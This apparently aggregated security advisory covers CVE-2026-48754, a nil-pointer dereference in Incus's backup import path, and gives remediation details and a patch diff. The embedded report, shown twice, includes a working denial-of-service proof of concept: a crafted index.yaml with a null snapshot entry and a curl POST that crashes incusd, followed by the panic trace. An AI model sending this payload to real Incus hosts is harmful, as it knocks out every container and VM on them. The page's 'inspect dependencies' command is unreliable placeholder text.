CVE-2026-48754: Incus Nil-pointer Dereference Vulnerability

LOW
Advisory Identifier: GHSA-4xg6-52mh-fpw8
CWE-476
Published
Advisory Summary

CVE-2026-48754 is a LOW nil-pointer dereference vulnerability (CWE-476: NULL Pointer Dereference) affecting Incus libraries in the Go ecosystem. The issue involves nil-pointer dereference in createdependentvolumesfrombackup on disk.{volume,volumesnapshots,pool}. Remediation is available by upgrading affected packages to version 7.1.0.

CVE-2026-48754 at a Glance

CVE Identifier CVE-2026-48754
GHSA Identifier GHSA-4xg6-52mh-fpw8
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-476: NULL Pointer Dereference
Affected Product Incus
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-48754

To remediate this vulnerability, upgrade all affected Incus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v7/cmd/incusd fixed: 7.1.0
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48754, inspect your project dependencies for Incus:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

Analyze the terminal output to locate any version of Incus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In Incus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`). This is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` ("Properly check dependent volumes on import"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked. ## Vulnerable code [`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412): ```go func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error { ... for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { // ← d768f81 parent fix return errors.New("Bad dependent volume definition found in index") } ... snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil } bInfo := backup.Info{ Project: disk.Volume.Project, // ← disk.Volume may be nil Name: disk.Volume.Name, Backend: disk.Pool.Driver, // ← disk.Pool may be nil Pool: disk.Pool.Name, ... } ... devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name) ... } } ``` `disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each. The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant. ## Reach 1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. 2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry. 4. Chain: `instancesPost` -> `createFromBackup:854` (Container guard passes) -> `pool.CreateInstanceFromBackup` -> `backend.go:782 b.createDependentVolumesFromBackup` -> `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element. 5. `incusd` dies. Persistent DoS on repeat. Minimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC): ```yaml name: poc-inst backend: dir pool: default type: container optimized: false optimized_header: false snapshots: [] config: container: name: poc-inst architecture: x86_64 type: container profiles: ["default"] config: {} devices: {} expanded_devices: depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data} expanded_config: {} dependent_volumes: - volume: {name: depvol, type: custom, content_type: filesystem, config: {}} pool: {name: default, driver: dir, config: {}} volume_snapshots: - ~ # explicit null entry → snap.Name at 9374 panics ``` (The container block must declare at least one device with `type: disk`, `dependent: "true"`, `pool != ""`, `path != "/"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.) An equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead. ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`. Tested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool. ```bash $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-inst.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-inst' \ http://incus/1.0/instances {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process gone ``` Daemon panic: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc] goroutine 257 [running]: github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...) /build/incus/internal/server/storage/backend.go:9374 +0x42c github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...) /build/incus/internal/server/storage/backend.go:782 +0x660 main.createFromBackup.func8(...) /build/incus/cmd/incusd/instances_post.go:989 +0x2ac github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c ``` Stack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line. ## Impact - **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier. - **Network attack surface:** the Incus REST API on `:8443` or the unix socket. - **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). - **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only. ## Suggested fix ```diff --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error { for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { return errors.New("Bad dependent volume definition found in index") } + + if disk.Volume == nil || disk.Pool == nil { + return errors.New("Bad dependent volume definition: missing volume or pool") + } + + for _, snap := range disk.VolumeSnapshots { + if snap == nil { + return errors.New("Bad dependent volume snapshot definition") + } + } + optimizedStorage := srcBackup.OptimizedStorage optimizedHeader := srcBackup.OptimizedHeader snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) } ``` ## Reporter notes Reported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.

CVE-2026-48754 Affected Incus Versions

1 component(s)
Fixed Versions:
7.1.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v7/cmd/incusd
Go
< 7.1.0
7.1.0

References

Frequently Asked Questions

What is CVE-2026-48754?
CVE-2026-48754 is a security vulnerability in Incus involving Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool} under CWE-476: NULL Pointer Dereference.
Which Incus versions are affected?
Affected versions include releases prior to 7.1.0 across affected packages: github.com/lxc/incus/v7/cmd/incusd.
What version fixes CVE-2026-48754?
Upgrading to 7.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v7/cmd/incusd affected?
Yes, github.com/lxc/incus/v7/cmd/incusd is affected in releases prior to 7.1.0. Upgrade your dependency to 7.1.0 or later.
What CWE is associated with CVE-2026-48754?
CVE-2026-48754 is classified under CWE-476: NULL Pointer Dereference (The product dereferences a pointer that it expects to be valid but is NULL.).
How can I check Go dependencies for CVE-2026-48754?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v7/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4xg6-52mh-fpw8",
  "modified" : "2026-06-26T18:52:46Z",
  "published" : "2026-06-26T18:52:46Z",
  "aliases" : [ "CVE-2026-48754" ],
  "summary" : "Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}",
  "details" : "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n    ...\n    for _, disk := range srcBackup.Config.DependentVolumes {\n        if disk == nil {                                  // ← d768f81 parent fix\n            return errors.New(\"Bad dependent volume definition found in index\")\n        }\n        ...\n        snapshots := []string{}\n        for _, snap := range disk.VolumeSnapshots {\n            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil\n        }\n\n        bInfo := backup.Info{\n            Project:          disk.Volume.Project,        // ← disk.Volume may be nil\n            Name:             disk.Volume.Name,\n            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil\n            Pool:             disk.Pool.Name,\n            ...\n        }\n        ...\n        devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n        ...\n    }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -> `createFromBackup:854` (Container guard passes) -> `pool.CreateInstanceFromBackup` -> `backend.go:782 b.createDependentVolumesFromBackup` -> `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n  container:\n    name: poc-inst\n    architecture: x86_64\n    type: container\n    profiles: [\"default\"]\n    config: {}\n    devices: {}\n    expanded_devices:\n      depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n    expanded_config: {}\n  dependent_volumes:\n    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n      pool:   {name: default, driver: dir, config: {}}\n      volume_snapshots:\n        - ~    # explicit null entry → snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n    --data-binary @/tmp/poc-inst.tar.gz \\\n    -H 'Content-Type: application/octet-stream' \\\n    -H 'X-Incus-name: poc-inst' \\\n    http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep    # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n    /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n     for _, disk := range srcBackup.Config.DependentVolumes {\n         if disk == nil {\n             return errors.New(\"Bad dependent volume definition found in index\")\n         }\n+\n+        if disk.Volume == nil || disk.Pool == nil {\n+            return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+        }\n+\n+        for _, snap := range disk.VolumeSnapshots {\n+            if snap == nil {\n+                return errors.New(\"Bad dependent volume snapshot definition\")\n+            }\n+        }\n+\n         optimizedStorage := srcBackup.OptimizedStorage\n         optimizedHeader := srcBackup.OptimizedHeader\n\n         snapshots := []string{}\n         for _, snap := range disk.VolumeSnapshots {\n             snapshots = append(snapshots, snap.Name)\n         }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:52:46Z",
    "nvd_published_at" : null
  }
}